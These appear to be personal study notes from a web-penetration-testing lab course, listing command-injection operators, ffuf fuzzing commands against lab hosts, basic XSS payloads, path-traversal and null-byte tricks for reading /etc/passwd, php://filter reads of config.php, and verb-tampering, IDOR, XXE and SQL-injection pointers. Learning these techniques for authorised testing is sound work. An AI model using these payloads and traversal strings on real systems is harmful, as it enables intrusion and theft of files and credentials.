Command Injections Table
We can try command injection when we see an interesting field. As simple ; can be used to start the testing. There are other possible ways to test like this list of operators:
| Injection Operator | Injection Character | URL-Encoded Character | Executed Command |
|---|---|---|---|
| Semicolon | ; | %3b | Both |
| New Line | \n | %0a | Both |
| Background | & | %26 | Both (second output generally shown first) |
| Pipe | | | %7c | Both (only second output is shown) |
| AND | && | %26%26 | Both (only if first succeeds) |
| OR | | | %7c%7c | Second (only if first fails) |
| Sub-Shell | `` | %60%60 | Both (Linux-only) |
| Sub-Shell | $() | %24%28%29 | Both (Linux-only) |
FFuF commands
Directory scan - ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ
Extension scan - ffuf -w /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/blog/indexFUZZ
Website scan - ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php
- Recursive website scan -
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v
Remember to add IP and domain names to /etc/hosts if you can’t reach ‘em
Vhost scan - ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs 900 - Also filtering for response size 900
Sub-domain scan - ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://FUZZ.inlanefreight.com/
POST parameter scan - ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
- Tip: In PHP, “POST” data “content-type” can only accept “application/x-www-form-urlencoded”. So, we can set that in “ffuf” with “-H ‘Content-Type: application/x-www-form-urlencoded’”
- We can run POST parameters with burp and curl as well:
curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded' - POST looks for both GET and POST parameters so it’s better to POST.
Parameter value scan -ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
GET parameter scan -ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx- Also filtering for response size xxx
XSS
Check for XSS on the page
- We can test whether the page is vulnerable to XSS with the following basic XSS payloads:
<script>alert(window.origin)</script>,<script>alert(document.cookie)</script>and<img src="" onerror=alert(window.origin)>Stored (Persistent) XSS- comments, formsReflected (Non-Persistent) XSS- links and parameters, search bars. look for it also in file uploads where you can attach code in the uploaded file names. Maybe php tries to execute file name with OS commands.DOM-based XSS- CSS, client-site links. Malicious staff only on one user, no server included and non persistent
HTTP parameter attacks
When yo see GET URL parameters:
Check for local file inclusion
- Try plain absolute path like:
/etc/passwd - Try file path traversal
../etc/passwdand different amounts or types like../../etc/passwd,....//etc/passwdor....\/etc/passwd - You can try and encode
../etc/passwdto%2e%2e%2fetc/passwdand play with other possibilities like a full encode%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 - Look for approved paths and append our inclusion after them like here
/languages/../../../../etc/passwd - Add null byte to delete any blocking appendments like restrictive file extension. Simply add
%00at the end like/etc/passwd%00 - We can also force a string maximum character limit. Use this command to create such a string:
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done non_existing_directory/../../../etc/passwd/./././<SNIP>././././
PHP filters
- Look for .php files -
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php. Tip: Unlike normal web application usage, we are not restricted to pages with HTTP response code 200, as we have local file inclusion access, so we should be scanning for all codes, including301,302and403pages, and we should be able to read their source code as well. - Sometimes .php files execute automatically, when we want to read them instead of execute when we try to view them. We can use
php://filter/read=convert.base64-encode/resource=config.phpto encode the file’s content and than locally decrypt it withecho 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
Check for vulnerable functions that can be taken advantage of for local/remote file inclusion.
Remote file inclusion
- Test with a local URL inclusion
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php - If this works look if the opened (in this example) index.php shows only source code or was rendered. If it was rendered it means that the php code executes automatically which is great.
Automated scanning
- You can use ffuf to look for GET/POST parameters as stated previously.
- There are a number of LFI Wordlists that you can use for scanning. A good wordlist is LFI-Jhaddix.txt, as it contains various bypasses and common files.
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
We may need to know the full server webroot path to complete our exploitation in some cases. For example, if we wanted to locate a file we uploaded, but we cannot reach its /uploads directory through relative paths (e.g. ../../uploads). In such cases, we may need to figure out the server webroot path so that we can locate our uploaded files through absolute paths instead of relative paths.
To do so, we can fuzz for the index.php file through common webroot paths, which we can find in this wordlist for Linux or this wordlist for Windows. Depending on our LFI situation, we may need to add a few back directories (e.g. ../../../../), and then add our index.php afterwards.
The following is an example of how we can do all of this with ffuf:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
OPTIONMALLY: Server Logs/Configurations
As we have seen in the previous section, we need to be able to identify the correct logs directory to be able to perform the log poisoning attacks we discussed. Furthermore, as we just discussed, we may also need to read the server configurations to be able to identify the server webroot path and other important information (like the logs path!).
To do so, we may also use the LFI-Jhaddix.txt wordlist, as it contains many of the server logs and configuration paths we may be interested in. If we wanted a more precise scan, we can use this wordlist for Linux or this wordlist for Windows, though they are not part of seclists, so we need to download them first. Let’s try the Linux wordlist against our LFI vulnerability, and see what we get:
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
LFI Tools
we can utilize a number of LFI tools to automate much of the process stated above. The most common LFI tools are LFISuite, LFiFreak, and liffy. We can also search GitHub for various other LFI tools and scripts, but in general, most tools perform the same tasks, with varying levels of success and accuracy. Unfortunately, most of these tools are not maintained and rely on the outdated python2, so using them may not be a long term solution.
21
Generally if you find file uploads fight to upload files. The whole section 21 is about avoiding different types of restrictions and give insight about some other upload attacks like injections in file names.
Tip: In addition to the above, there are a few unix-only operators, that would work on Linux and macOS, but would not work on Windows, such as wrapping our injected command with double backticks (``) or with a sub-shell operator ($()).
We can use burp to avoid front-end validation.
You can also use automated tools like
Linux (Bashfuscator)
Windows (DOSfuscation)
To check it, further analyse it run in paroral with your investigation.
23
HTTP Verb Tampering
To understand HTTP Verb Tampering, we must first learn about the different methods accepted by the HTTP protocol. HTTP has 9 different verbs that can be accepted as HTTP methods by web servers. Other than GET and POST, the following are some of the commonly used HTTP verbs:
| Verb | Description |
|---|---|
HEAD | Identical to a GET request, but its response only contains the headers, without the response body |
PUT | Writes the request payload to the specified location |
DELETE | Deletes the resource at the specified location |
OPTIONS | Shows different options accepted by a web server, like accepted HTTP verbs |
PATCH | Apply partial modifications to the resource at the specified location |
| To identify this vulnerability simply paly around with other methods to see if you can then push some exploit or injection when you were not able to with simple GET parameter. This also helps with HTTP basic authentication pop-up logins. |
If not with burp, you can utilize curl to run different http verbs like so:
curl -i -X OPTIONS http://SERVER_IP:PORT/
Remember about IDOR (it’s like user=38 so you change to user=1 to get an admin in the simplest sense). Keep an eye for simple and predictable patterns in file names, web site names and url parameters for a possible IDOR vulnerability
It’s also good idea to go thought the site to see if burp find any additional info that is parsed inside http requests and responses like insecure API calls.
Also look in source code for any API calls, AJAX function or other useful code snippets and comments.
Check for XXE Injection
Below is an example of a XML DTD that puts a static string to a given field. IF this work, it means we have an XXE vulnerability. A lot of different types of XXE injections can be found here
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>Note: This example there gives the whole DTD. if there is an existing one just put the entity variable.
24
Depending on the application that runs on the web server you can check this whole section for guidance.
Look for SQL injection. Most often found in login, register and reset password forms.
You can find some SQL Injection string in this cheatsheet.
You can also use SQLMap to check for more injection options if nothing is found.